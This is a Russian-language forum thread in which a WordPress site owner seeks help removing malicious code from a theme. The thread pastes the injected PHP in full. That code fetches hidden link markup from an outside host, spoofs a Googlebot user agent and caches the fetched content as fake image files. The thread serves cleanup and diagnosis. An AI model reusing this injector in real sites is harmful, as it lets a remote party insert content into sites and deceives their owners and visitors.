Помогите, пожалуйста, удалить вредоносный код с сайта ВП

12
S
На сайте с 30.09.2016
Offline
469
#11
Had:
с подобными вирусами

Это не вирусы. У них это называется "партнерские ссылки". 😂

Отпилю лишнее, прикручу нужное, выправлю кривое. Вытравлю вредителей.
H
На сайте с 01.04.2014
Offline
571
Had
#12
Sitealert:
Это не вирусы. У них это называется "партнерские ссылки".

Дурят нашего неопытного брата как хотят.

L
На сайте с 16.10.2010
Offline
105
#13

Про "партнерские ссылки" с этого вп темплейтс уже есть тема давняя )))

Может поможет.

/ru/forum/862606

А тут решение проблемы

http://itzashita.ru/nasha-veb-masterskaya/vredonosnyiy-kod-na-sayte-teper-i-v-rezhime-on-layn-chast-5.html

и тут меньше воды

http://black-and-white.org.ua/ubiraem-vredonosnyj-kod-na-wordpress-sajtax/

H
На сайте с 01.04.2014
Offline
571
Had
#14

longin, спасибо но ничего не помогло. Максимум чего добился, это, что на морде и рубриках всё норм, а когда заходишь в статьи нет сайдбара и нет панельки верхней чёрной ВП. Это получилось если удалять весь код ниже этого места:

<?php
error_reporting('^ E_ALL ^ E_NOTICE');
ini_set('display_errors', '0');
error_reporting(E_ALL);
ini_set('display_errors', '0');
Отсюда ниже всё удалял.
class Get_links {
var $host = 'wpconfig.net';
var $path = '/system.php';
var $_cache_lifetime = 21600;
var $_socket_timeout = 5;
function get_remote() {
$req_url = 'http://'.$_SERVER['HTTP_HOST'].urldecode($_SERVER['REQUEST_URI']);
$_user_agent = "Mozilla/5.0 (compatible; Googlebot/2.1; ".$req_url.")";
$links_class = new Get_links();
$host = $links_class->host;
$path = $links_class->path;
$_socket_timeout = $links_class->_socket_timeout;
//$_user_agent = $links_class->_user_agent;
@ini_set('allow_url_fopen', 1);
@ini_set('default_socket_timeout', $_socket_timeout);
@ini_set('user_agent', $_user_agent);
if (function_exists('file_get_contents')) {
$opts = array(
'http'=>array(
'method'=>"GET",
'header'=>"Referer: {$req_url}\r\n".
"User-Agent: {$_user_agent}\r\n"
)
);
$context = stream_context_create($opts);
$data = @file_get_contents('http://' . $host . $path, false, $context);
preg_match('/(\<\!--link--\>)(.*?)(\<\!--link--\>)/', $data, $data);
$data = @$data[2];
return $data;
}
return '<!--link error-->';
}
function return_links($lib_path) {
$links_class = new Get_links();
$file = ABSPATH.'wp-content/uploads/2012/'.md5($_SERVER['REQUEST_URI']).'.jpg';
$_cache_lifetime = $links_class->_cache_lifetime;
if (!file_exists($file))
{
@touch($file, time());
$data = $links_class->get_remote();
file_put_contents($file, $data);
return $data;
} elseif ( time()-filemtime($file) > $_cache_lifetime || filesize($file) == 0) {
@touch($file, time());
$data = $links_class->get_remote();
file_put_contents($file, $data);
return $data;
} else {
$data = file_get_contents($file);
return $data;
}
}
}



---------- Добавлено 05.03.2017 в 02:33 ----------

Всё гениальное просто. Нашёл чистый шаблон с другого сайта, заменил файлы функционс и коментс пхп и всё стало норм. Спасибо всем за попытки помочь. Но есть но, конец этого шаблона имеет вид:

'menu_1' => 'Menu 1',
'menu_2' => 'Menu 2'
)
);
}

// new code for image uploads

function my_js() { ?>
<script type="text/javascript" language="javascript">
jQuery(document).ready(function() {
var formfield;

jQuery('#upload_image_button').click(function() {
formfield = jQuery('#upload_image').attr('name');
tb_show('', 'media-upload.php?type=image&amp;TB_iframe=true');
return false;
});

window.original_send_to_editor = window.send_to_editor;
window.send_to_editor = function(html) {

if (formfield) {
imgurl = jQuery(html).attr('href');
jQuery('#upload_image').val(imgurl);
tb_remove();
formfield = '';

} else {
window.original_send_to_editor(html);
}
};

});
</script>
<?php }

function my_admin_scripts() {
wp_enqueue_script('media-upload');
wp_enqueue_script('thickbox');
add_action('admin_head', 'my_js');
}

function my_admin_styles() {
wp_enqueue_style('thickbox');
}

if (is_admin()) {
add_action('admin_print_scripts', 'my_admin_scripts');
add_action('admin_print_styles', 'my_admin_styles');
}
?>
<?php
error_reporting('^ E_ALL ^ E_NOTICE');
ini_set('display_errors', '0');
error_reporting(E_ALL);
ini_set('display_errors', '0');


?>

Это вредоносный код или норм? Параноя понимаете ли.

---------- Добавлено 05.03.2017 в 03:10 ----------

longin, спасибо Вам. Реально помогли, без файла "коментс" ничего бы не вышло. Я при замене пробовал менять только функтионс (с чистого шаба) сайдбар тоже пропадал, а когда заменил и коментс всё нормально заработало.

12

Авторизуйтесь или зарегистрируйтесь, чтобы оставить комментарий